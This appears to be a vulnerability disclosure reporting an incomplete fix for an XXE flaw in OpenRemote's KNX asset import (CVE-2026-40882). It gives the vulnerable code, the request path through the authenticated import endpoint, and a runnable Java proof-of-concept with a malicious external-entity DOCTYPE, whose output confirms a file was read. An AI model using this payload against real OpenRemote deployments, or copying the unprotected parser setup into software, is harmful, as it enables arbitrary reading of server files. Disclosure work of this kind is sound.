OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory

 1private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
 2    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
 3    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
 4    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
 5    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
 6    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
 7    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
 8    return factory;
 9}

 1// Line 229-230: reads 0.xml from user-uploaded ZIP
 2InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
 3String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);
 4 
 5// Lines 233-245: Saxon XSLT — no XXE protection on the source document
 6TransformerFactory tfactory = new TransformerFactoryImpl();
 7Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
 8transformer.transform(
 9    new StreamSource(new StringReader(xml)),  // xml = 0.xml from attacker's ZIP
10    new StreamResult(writer));
11 
12// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
13try (final XmlReader r = XmlInputFactory.newInstance()
14        .createXMLStreamReader(new StringReader(xml))) { ... }

 1POST /api/{realm}/agent/{agentId}/import   (authenticated user, PR:L)
 2  → AgentResourceImpl.doProtocolAssetImport(fileData)
 3  → KNXProtocol.startAssetImport(byte[] fileData)
 4  → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
 5  → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml))  ← XXE stage 1
 6  → XmlInputFactory.newInstance().createXMLStreamReader(xml)     ← XXE stage 2
 7  → external entity resolved → arbitrary file read

 1<dependency>
 2    <groupId>net.sf.saxon</groupId>
 3    <artifactId>Saxon-HE</artifactId>
 4    <version>12.9</version>
 5</dependency>

 1import net.sf.saxon.TransformerFactoryImpl;
 2import javax.xml.stream.*;
 3import javax.xml.transform.*;
 4import javax.xml.transform.stream.*;
 5import java.io.*;
 6import java.nio.file.*;
 7 
 8public class Exploit {
 9    public static void main(String[] args) throws Exception {
10 
11        // Sentinel file — proves arbitrary file read
12        Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
13        String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
14        Files.writeString(sentinel, tag);
15 
16        String maliciousXml =
17            "<?xml version=\"1.0\"?>\n" +
18            "<!DOCTYPE root [\n" +
19            "  <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
20            "]>\n" +
21            "<root><data>&xxe;</data></root>";
22 
23        // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
24        XMLInputFactory factory = XMLInputFactory.newInstance();
25        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
26        StringBuilder sb = new StringBuilder();
27        while (reader.hasNext()) {
28            int e = reader.next();
29            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
30        }
31        System.out.println("Stage A result: " + sb.toString().trim());
32 
33        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
34        String xsl = "<?xml version=\"1.0\"?>" +
35            "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
36            "<xsl:output method=\"text\"/>" +
37            "<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
38            "</xsl:stylesheet>";
39        TransformerFactory tf = new TransformerFactoryImpl();
40        StringWriter writer = new StringWriter();
41        tf.newTransformer(new StreamSource(new StringReader(xsl)))
42          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
43        System.out.println("Stage B result: " + writer.toString().trim());
44 
45        Files.deleteIfExists(sentinel);
46    }
47}

 1mvn clean package -q
 2java -jar target/openremote-xxe-1.0.jar

 1Stage A result: OPENREMOTE_KNX_XXE_1780611779589
 2Stage B result: OPENREMOTE_KNX_XXE_1780611779589